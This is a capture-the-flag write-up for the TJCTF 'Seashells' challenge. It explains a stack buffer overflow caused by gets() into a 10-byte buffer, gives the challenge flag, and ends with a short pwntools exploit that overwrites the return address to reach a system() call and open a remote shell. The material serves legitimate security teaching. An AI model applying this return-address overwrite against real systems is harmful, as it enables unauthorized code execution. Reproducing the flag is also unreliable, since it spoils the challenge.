# TJCTF: binary
Written by KyleForkBomb
_I heard there's someone selling shells? They seem to be out of stock though..._
`nc p1.tjctf.org 8009`
## Beginnings
Starting the program will look like this: ```sh$ ./seashellsWelcome to Sally's Seashore Shell ShopWould you like a shell?yes!!!!!  <-- user inputwhy are you even here?```
And the associated (stripped) decompiled code:```cint main() {  char s1[0xA];  puts("Welcome to Sally's Seashore Shell Shop");  puts("Would you like a shell?");  gets(s1);  if ( !strcasecmp(s1, "yes") )    puts("sorry, we are out of stock");  else    puts("why are you even here?");  return 0;}```
This challenge is a classic buffer-overflow challenge. We take a look at `checksec` and gather our options:
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Seashells/checksec.png)
PIE's off, and we can notice this small `shell()` function embedded in the binary:
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Seashells/shellfunc.png)
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Seashells/address.png)
Although there are if-checks, we'll just jump over them and head straight for the `system()` call (address shown above):
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Seashells/interactive.png)
That'll be the challenge.
## flag
`tjctf{she_s3lls_se4_sh3ll5}`
## code```pythonfrom pwn import *binsh = 0x4006E3to_r = 0xA+8r = remote('p1.tjctf.org', 8009)r.sendlineafter('?\n', to_r*'A' + p64(binsh))r.interactive()```